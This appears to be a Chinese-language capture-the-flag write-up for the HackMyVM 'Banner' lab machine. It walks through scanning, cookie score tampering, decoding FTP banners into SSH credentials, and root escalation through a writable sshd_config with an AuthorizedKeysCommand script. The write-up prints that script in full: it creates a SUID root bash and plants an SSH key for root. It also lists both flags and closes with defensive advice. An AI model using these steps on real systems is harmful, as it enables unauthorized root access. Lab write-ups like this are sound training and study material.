跳到主要内容

HackMyVM Banner 通关记录|Web 答题提示、FTP 线索与 sshd 配置提权

靶机链接:Banner

0x01 基本信息

名称IP说明
Kali Linux192.168.1.109攻击机
Banner192.168.1.117hostname: Banner

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现21/tcp FTP、22/tcp SSH、8080/tcp Flask确定 FTP 和 Web 为主要线索入口
Web 提示篡改 user_score Cookie,提交正确答案响应头返回 X-Flag: 111:banner
FTP 凭证111:banner 登录 FTPchroot 目录只留下 hint
线索拼接五条旋转 banner 取缩写得到 welcome:mazesec,拆出 SSH 凭证
初始访问welcome:mazesec 登录 SSH读取 User Flag
配置提权sudo service sshd restart + 可写 sshd_config让 sshd 加载自定义 AuthorizedKeysCommand
root 执行AuthorizedKeysCommandUser root 调用 /bin/bash以 root 执行 welcome 可写脚本
最终成果root 所有的 SUID bash获取 Root Flag

0x02 端口扫描

先使用 RustScan 做全端口发现,再用 Nmap 进行服务识别:

rustscan -a 192.168.1.117 --range 1-65535 -b 1500 --timeout 5000 -g
nmap -sV -sC -p 21,22,8080 192.168.1.117

RustScan 发现:

192.168.1.117 -> [21, 22, 8080]

Nmap 结果摘要:

21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 8.4p1 (Debian)
8080/tcp open http Werkzeug httpd 3.1.6 (Python 3.9.2)
端口服务指纹 / 判断
21/tcpFTPvsftpd,后续用于验证 Web 泄露的提示值
22/tcpSSHOpenSSH 8.4p1,获得凭证后作为初始访问入口
8080/tcpHTTPWerkzeug/Flask 答题系统,优先检查 API

0x03 Web 答题系统

1. API 面枚举

对 8080 端口下的 API 路径进行枚举:

ffuf -u http://192.168.1.117:8080/api/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-mc all

已确认的端点:

端点方法 / 状态观察
/api/questionsGET 200返回题目和答案字段
/api/submitPOST提交答案并更新分数
/api/debugGET 200返回应用路径与数据文件位置
/api/healthGET 200服务状态检查
/api/statsGET 200统计信息
/api/uploadPOST上传逻辑存在文件名路径穿越风险

/api/debug 泄露了应用结构:

应用:/opt/ctf-game/main.py
上传目录:/opt/ctf-game/uploads/
数据库:/opt/ctf-game/data/users.db
分数文件:/opt/ctf-game/data/scores.json

前端把当前分数保存在 user_score Cookie 中,服务端提交接口直接依据该值继续计算。先从 /api/stats 确认 target_score=1000,单题得分为 10;再从 /api/questions 读取第 1 题答案为 A,所以把 user_score 设为 990,提交这一题后正好达到目标分数:

curl -s -X POST http://192.168.1.117:8080/api/submit \
-H 'Content-Type: application/json' \
-H 'Cookie: user_score=990' \
-d '{"id":1,"answer":"A"}' -D -

响应头返回:

X-Flag: 111:banner

这里的值不是最终 flag,而是后续服务认证线索。格式可以先按 用户:密码 处理:

用户:111
密码:banner

3. 其他 Web 线索

错误回溯暴露 Werkzeug 调试信息和源码路径。上传接口把客户端提供的文件名直接拼接到上传目录:

file.save('/opt/ctf-game/uploads/' + file.filename)

因此 /api/upload 还存在 ../ 路径穿越写文件风险。不过本机主线不需要依赖该漏洞,X-Flag 提供的 FTP 线索已经足够继续推进。

0x04 FTP 凭证与 Banner 线索

1. 使用提示值登录 FTP

USER 111
PASS banner

服务端返回:

331 Please specify the password.
230 Login successful.

FTP 会话被 chroot 到 /home/welcome,目录里只有一个提示文件:

你知道什么是banner吗?

2. 观察旋转 Banner

重复连接 FTP 或观察服务响应,可以得到几组会变化的 banner:

Amazing Zebras Eat
Snakes Eat Crickets
Wild Elephants Love
Clever Owls Make
Elephants : Mice

提示中的 bannerobserve the changes 指向“观察每次变化并取缩写”。取每行单词首字母:

Banner缩写
Wild Elephants LoveWEL
Clever Owls MakeCOM
Amazing Zebras EatAZE
Snakes Eat CricketsSEC
Elephants : MiceE : M(提示使用冒号分隔)

前四组缩写拼接后得到主体字符串,最后一组用首字母形式明确了用户名和密码之间的分隔符: (这里复现会发现正确的顺序)

WEL + COM + E:M + AZE + SEC = welcome:mazesec
E : M = 使用冒号分隔用户名和密码

把它拆成用户和密码:

welcome : mazesec

0x05 SSH 初始访问与 User Flag

使用推导出的凭证登录 SSH:

ssh -F /dev/null \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
welcome@192.168.1.117

登录密码:

mazesec

确认身份:

id
uid=1000(welcome) gid=1000(welcome) groups=1000(welcome)

读取 User Flag:

cat /home/welcome/user.txt
flag{user-509fe78ad30da7792f576cd3a91a57fc}

0x06 sshd 配置提权

1. sudo 权限

sudo -l

关键输出:

User welcome may run the following commands on Banner:
(root) NOPASSWD: /sbin/service sshd restart

这条规则本身不等于直接 root,但它允许 welcome 以 root 身份重新加载 SSH 服务配置,需要继续检查 sshd 配置和相关常驻脚本。

2. 找到可写配置和监控脚本

发现 root 运行的监控进程:

root 349 /bin/bash /usr/local/bin/sshd_config_monitor.sh

检查文件权限:

ls -la /etc/ssh/sshd_config
cat /usr/local/bin/sshd_config_monitor.sh

sshd_config 权限为 666,welcome 可以直接写入。监控脚本用 inotifywait 观察文件变化,发现修改后执行:

  1. grep -v -i "banner" 删除包含 banner 的行。
  2. 备份原文件到 /etc/ssh/sshd_config.backup.<时间戳>
  3. 把过滤后的临时文件写回配置,并恢复属主和权限。

关键缺陷是:它只删除带有 banner 的行,不会清理 AuthorizedKeysCommandAuthorizedKeysCommandUser

3. 成功路线:使用 root 拥有的 /bin/bash 作为命令前缀

sshdAuthorizedKeysCommand 的安全检查针对可执行程序本身。把 root 拥有的 /bin/bash 作为程序,把 welcome 可写的脚本作为参数,并指定 AuthorizedKeysCommandUser root

AuthorizedKeysCommand /bin/bash /home/welcome/getroot.sh
AuthorizedKeysCommandUser root

这样既满足程序路径检查,又能让脚本以 root 身份执行。

Step 1:准备 welcome 可写的 payload

cat > /home/welcome/getroot.sh <<'__PAYLOAD__'
#!/bin/bash
cp /bin/bash /home/welcome/rootbash
chown root:root /home/welcome/rootbash
chmod 4755 /home/welcome/rootbash
mkdir -p /root/.ssh
chmod 700 /root/.ssh
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFVAvvWwgMwUgM9uiTXBcWGu6RcOMI4Lq/rd+5k1E7Ao rootkey" > /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys
exit 0
__PAYLOAD__
chmod 755 /home/welcome/getroot.sh

Step 2:改写 sshd_config

cat > /etc/ssh/sshd_config <<'__SSHD_CONFIG__'
Port 22
ListenAddress 0.0.0.0
PermitRootLogin yes
PasswordAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysCommand /bin/bash /home/welcome/getroot.sh
AuthorizedKeysCommandUser root
__SSHD_CONFIG__

监控脚本会处理一次文件变化,但这些指令不包含 banner,因此仍会保留:

grep -E 'AuthorizedKeysCommand|AuthorizedKeysCommandUser' /etc/ssh/sshd_config

Step 3:利用 sudo 重启 sshd

sudo /sbin/service sshd restart

Step 4:触发 AuthorizedKeysCommand

认证结果与命令执行的区别

只要进行一次公钥认证尝试,sshd 就会调用 AuthorizedKeysCommand 读取候选公钥。即使最后因为密钥不匹配而认证失败,命令已经被执行:

ssh -F /dev/null \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile=/dev/null \
-o PreferredAuthentications=publickey \
-o IdentitiesOnly=yes \
-i ./rootkey \
root@192.168.1.117 'id'

Step 5:验证 root 属主的 SUID bash

ls -la /home/welcome/rootbash

结果:

-rwsr-xr-x 1 root root ... /home/welcome/rootbash

使用 -p 保留有效 UID:

/home/welcome/rootbash -p -c 'id; cat /root/root.txt'
uid=1000(welcome) gid=1000(welcome) euid=0(root) groups=1000(welcome)
flag{root-fc7fb423367bb7fccb411758f06f857a}

0x07 提权原理总结

组件作用
sudo /sbin/service sshd restart允许 welcome 以 root 重启 sshd
/etc/ssh/sshd_config 权限 666welcome 可以直接写入配置
sshd_config_monitor.sh只删除含 banner 的行,未做指令白名单
AuthorizedKeysCommand /bin/bash <脚本>用 root 拥有的合法程序加载可写脚本
AuthorizedKeysCommandUser root让 sshd 以 root 执行命令
/home/welcome/getroot.shwelcome 可写,内容可以自定义
root 属主 SUID bashbash -p 后 EUID 为 0,获得 root 权限

0x08 防御建议

  • /etc/ssh/sshd_config 权限恢复为 root 可写、其他用户不可写,建议使用 0644 或更严格的权限。
  • 不要允许普通用户通过 sudo 无条件重启 SSH 服务;如果必须允许,使用经过审计的 wrapper 并限制配置来源。
  • AuthorizedKeysCommand 使用固定的 root-owned 程序和 root-owned 脚本,禁止引用用户可写目录。
  • 监控配置文件时采用允许列表和语法校验,而不是只删除某一个关键词。
  • 关闭生产环境中的调试接口,服务端不要信任客户端 Cookie 中的分数或权限状态。
  • 上传文件时固定保存目录,使用 basename、路径规范化和扩展名白名单阻断 ../ 路径穿越。

0x09 最终成果 (Final Flags)

User Flag

  • 路径: /home/welcome/user.txt
  • 内容: flag{user-509fe78ad30da7792f576cd3a91a57fc}

Root Flag

  • 路径: /root/root.txt
  • 内容: flag{root-fc7fb423367bb7fccb411758f06f857a}

已获凭证与成果总结

服务 / 项目凭证或结果
FTP111 / banner,chroot 到 /home/welcome
SSHwelcome / mazesec
User Flag/home/welcome/user.txt
Root 入口/home/welcome/rootbash -p
Root Flag/root/root.txt